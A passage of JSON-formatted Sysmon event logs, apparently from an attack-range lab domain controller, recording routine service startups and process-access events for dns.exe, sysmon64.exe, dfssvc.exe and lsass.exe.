ystem32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.319\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\dns.exe\r\nFileVersion: 10.0.14393.3808 (rs1_release.200707-2105)\r\nDescription: Domain Name System (DNS) Server\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dns.exe\r\nCommandLine: C:\\Windows\\system32\\dns.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=D12C4522E932461612C72B4EB7A4B3A1,SHA256=BC06AE025E1CDEF4304F0D7983A80D029B6CCBF5761EAB490847100FD161D6FA,IMPHASH=F11D7ACAC98040FCC69808598F92C5FA\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.319","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","Image":"C:\\Windows\\System32\\dns.exe","FileVersion":"10.0.14393.3808 (rs1_release.200707-2105)","Description":"Domain Name System (DNS) Server","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dns.exe","CommandLine":"C:\\Windows\\system32\\dns.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=D12C4522E932461612C72B4EB7A4B3A1,SHA256=BC06AE025E1CDEF4304F0D7983A80D029B6CCBF5761EAB490847100FD161D6FA,IMPHASH=F11D7ACAC98040FCC69808598F92C5FA","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.325\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00108F150200}\r\nProcessId: 2736\r\nImage: C:\\Windows\\sysmon64.exe\r\nFileVersion: 10.42\r\nDescription: System activity monitor\r\nProduct: Sysinternals Sysmon\r\nCompany: Sysinternals - www.sysinternals.com\r\nOriginalFileName: ?\r\nCommandLine: C:\\Windows\\sysmon64.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=384B6FC04A512CFE7A4E628942867D95,SHA256=80B110B91730729BE60C7D79C55FFF0EC893FD4CFB5F44D04C433EE8E95C5E20,IMPHASH=30777134873A03E5D01D04EDE5BEC51E\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.325","ProcessGuid":"{90617006-3FE4-5F2D-0000-00108F150200}","Image":"C:\\Windows\\sysmon64.exe","FileVersion":"10.42","Description":"System activity monitor","Product":"Sysinternals Sysmon","Company":"Sysinternals - www.sysinternals.com","OriginalFileName":"?","CommandLine":"C:\\Windows\\sysmon64.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=384B6FC04A512CFE7A4E628942867D95,SHA256=80B110B91730729BE60C7D79C55FFF0EC893FD4CFB5F44D04C433EE8E95C5E20,IMPHASH=30777134873A03E5D01D04EDE5BEC51E","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2596\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2596","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.340\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001022180200}\r\nProcessId: 2636\r\nImage: C:\\Windows\\System32\\dfssvc.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows NT Distributed File System Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dfssvc.exe\r\nCommandLine: C:\\Windows\\system32\\dfssvc.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=304155A24E5273CF68197B30112D451A,SHA256=EC48F117C47F0E4BD5F7407629CE8CF78579764A7947CA05EDC089B59B941576,IMPHASH=C8B32AEEF22A97D88BD68D70385A1B30\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.340","ProcessGuid":"{90617006-3FE4-5F2D-0000-001022180200}","Image":"C:\\Windows\\System32\\dfssvc.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows NT Distributed File System Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dfssvc.exe","CommandLine":"C:\\Windows\\system32\\dfssvc.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=304155A24E5273CF68197B30112D451A,SHA256=EC48F117C47F0E4BD5F7407629CE8CF78579764A7947CA05EDC089B59B941576,IMPHASH=C8B32AEEF22A97D88BD68D70385A1B30","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 